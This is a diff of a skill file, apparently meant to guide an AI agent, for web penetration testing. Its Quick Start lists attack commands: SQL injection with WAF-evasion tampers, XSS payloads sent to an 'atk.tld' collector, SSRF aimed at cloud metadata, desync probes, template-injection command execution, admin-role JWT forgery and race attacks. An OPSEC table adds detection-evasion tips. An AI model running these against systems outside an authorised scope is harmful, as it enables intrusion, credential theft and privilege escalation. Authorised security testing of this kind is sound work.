git:20260629.82b101d to git:20260629.9f4a1a5

1 added, 1 removed. Audit B to B.

---

name: web-pentest

- description: Full-spectrum web application penetration testing — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache attacks, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race conditions

+ description: Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race

metadata:

type: offensive

phase: exploitation

tools: burpsuite, sqlmap, ffuf, feroxbuster, nuclei, httpx, curl, wfuzz, dalfox, commix, jwt_tool, ysoserial, http-request-smuggler

mitre: [T1190, T1059, T1552.005, T1078, T1539, T1505.003]

kill_chain:

phase: [delivery, exploit]

step: [3, 4]

attck_tactics: [TA0001, TA0002]

attck_techniques: [T1190, T1059.007, T1552.005, T1078, T1539, T1505.003, T1557]

depends_on: [recon-osint, vulnerability-analysis]

feeds_into: [exploit-development, cloud-security, network-attack]

inputs: [attack_surface_map, technology_fingerprint]

outputs: [finding_record, web_vulnerability_list]

references:

- references/injection-sqli-cmdi.md

- references/xss-csp-clientside.md

- references/ssrf-cloud-metadata.md

- references/http-desync-cache.md

- references/ssti-deserialization.md

- references/auth-api-access-control.md

- references/proxy-mcp-integration.md

scripts:

- scripts/desync_probe.py

- scripts/jwt_forge.py

- scripts/ssrf_toolkit.py

- scripts/proto_ssti_gadgets.py

- scripts/graphql_audit.py

- scripts/race_single_packet.py

- scripts/xss_csp_forge.py

---

# Web Application Penetration Testing

## When to Activate

- Web application security assessment (black/grey/white box)

- API security testing (REST, GraphQL, WebSocket)

- Authentication & session management testing (JWT, OAuth/OIDC, SAML)

- Business-logic and race-condition hunting

- WAF/CSP bypass, filter evasion, and CDN-layer attacks (desync, cache)

- Validating modern 2024-2026 vectors: HTTP/1.1 desync (0.CL/TE.0), SSRF->cloud

metadata, prototype-pollution->RCE, SSTI sandbox escapes

## Input-Signal Routing (what to test when you see X)

Fast test selection — map an observed parameter/behavior to the right deep-dive:

| Input signal you observe | Test for | Go to |

|--------------------------|----------|-------|

| `id`, `uid`, `order_id`, `account`, GUID/sequential ref | IDOR/BOLA, access control | references/auth-api-access-control.md |

| `url`, `next`, `callback`, `dest`, `webhook`, `image_url` | SSRF + cloud metadata, open redirect, OAuth chain | references/ssrf-cloud-metadata.md |

| `price`, `qty`, `coupon`, `balance`, `status`, state change | business logic + single-packet race | references/http-desync-cache.md (race) |

| template/preview/name reflected in output | SSTI -> RCE, reflected XSS | references/ssti-deserialization.md |

| search/filter/sort reflected; `q=`, error echoes input | SQLi, XSS, command injection | references/injection-sqli-cmdi.md |

| `token`, `jwt`, `Authorization`, `Cookie`, OAuth `state` | JWT forgery, session/OAuth flaws | references/auth-api-access-control.md |

| serialized blob / base64 object / `__proto__` | deserialization, prototype pollution | references/ssti-deserialization.md |

| behind CDN/cache; `X-Forwarded-*`; keyed params | desync (0.CL/TE.0), cache poisoning | references/http-desync-cache.md |

## Technique Map

|-----------|--------|-----|-----------|--------|

## Quick Start

```bash

# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.

# Spider + content discovery

ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json

nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig

# 1. Injection — automated SQLi, manual cmdi

sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment

# 2. XSS / CSP

python3 scripts/xss_csp_forge.py contexts --collector atk.tld

python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"

# 3. SSRF -> cloud metadata

python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun

python3 scripts/ssrf_toolkit.py cloud --provider aws

# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)

python3 scripts/desync_probe.py https://t --probe all --verbose

# 5. SSTI / prototype pollution / deserialization

python3 scripts/proto_ssti_gadgets.py detect

python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"

python3 scripts/proto_ssti_gadgets.py proto --cmd "id"

# 6. Auth & API

python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin

python3 scripts/graphql_audit.py introspect https://t/graphql

# 7. Logic / race

python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."

# -> feed each confirmed issue into templates/exploit/findings/ with

# severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.

```

## OPSEC & Detection (summary)

|-----------|-----------------|------------------------|------------|

| SQLi / cmdi | SQL keywords, `SLEEP/WAITFOR`, web-svc spawning `sh/curl` | webserver regex Sigma; EDR child-shell from `www-data` | time-based is slow+noisy; `--random-agent --delay`, in-band reads first |

| XSS / CSP / client-PP | `<script`, `onerror=`, `__proto__` in params; CSP report-uri hits | webserver regex; Trusted-Types violation alerts | persistent `__proto__` can break shared cached pages — avoid |

| SSRF / metadata | hits to 169.254.169.254 / metadata hosts from app tier | proxy Sigma; GuardDuty credential-exfil | stop at proving token retrieval; rotate collaborator subdomains |

| HTTP desync / cache | CL+TE together, obs-fold, `Expect` on OPTIONS to CDN | proxy Sigma; reject ambiguous framing | poisons co-tenant traffic — scoped only, never POST-smuggle prod |

| SSTI / PP / deser | `{{ }}`/`${ }`, `NODE_OPTIONS`, `rO0AB`, JNDI egress | webserver/body Sigma; EDR `java`->LDAP/RMI | `id` probe first; reverse shells trip EDR; revert polluted config |

| JWT / OAuth / GraphQL | `alg:none`, unknown `jku`/`kid`, multi-op GraphQL body | app Sigma; failed-verify spikes | forged-JWT attempts alert; cap GraphQL brute wordlist/rate |

## Deep Dives

- references/injection-sqli-cmdi.md — SQLi (UNION/blind/error/NoSQL), OS command

& argument injection, sqlmap tamper workflow, modern WAF/Unicode evasion.

- references/xss-csp-clientside.md — XSS contexts, DOM sinks, CSP bypass +

script gadgets, client-side prototype pollution -> XSS, mXSS/sanitizer bypass.

- references/ssrf-cloud-metadata.md — SSRF parser confusion, gopher/redis,

AWS/GCP/Azure metadata, IMDSv2 reality + Axios bypass, HTML-to-PDF switch,

2024-2026 CVEs (Azure OpenAI, Oracle EBS, Next.js, ColdFusion).

- references/http-desync-cache.md — CL.TE/TE.CL, TE.0 (2024), 0.CL/Expect &

CVE-2025-32094 (Akamai), TE.TE chunk-ext, cache poisoning/deception

("Gotta cache 'em all", ACM CCS 2024), pipelining-vs-desync caveat.

- references/ssti-deserialization.md — per-engine SSTI RCE, sandbox escapes

(CVE-2024-22195, Frappe/XWiki/Yeti), Node prototype-pollution -> RCE (GHunter,

NODE_OPTIONS --import), Java/.NET/PHP deserialization gadget chains.

- references/auth-api-access-control.md — JWT forgery, OAuth/OIDC/SAML, GraphQL

batch/alias/depth abuse, IDOR/BOLA/mass assignment, business logic, and the

HTTP/2 single-packet race attack.

- references/proxy-mcp-integration.md — driving a live Burp/Caido proxy MCP for

ground-truth traffic + replay-with-auth, with mandatory header redaction

(`redact_headers.py`) at the data boundary.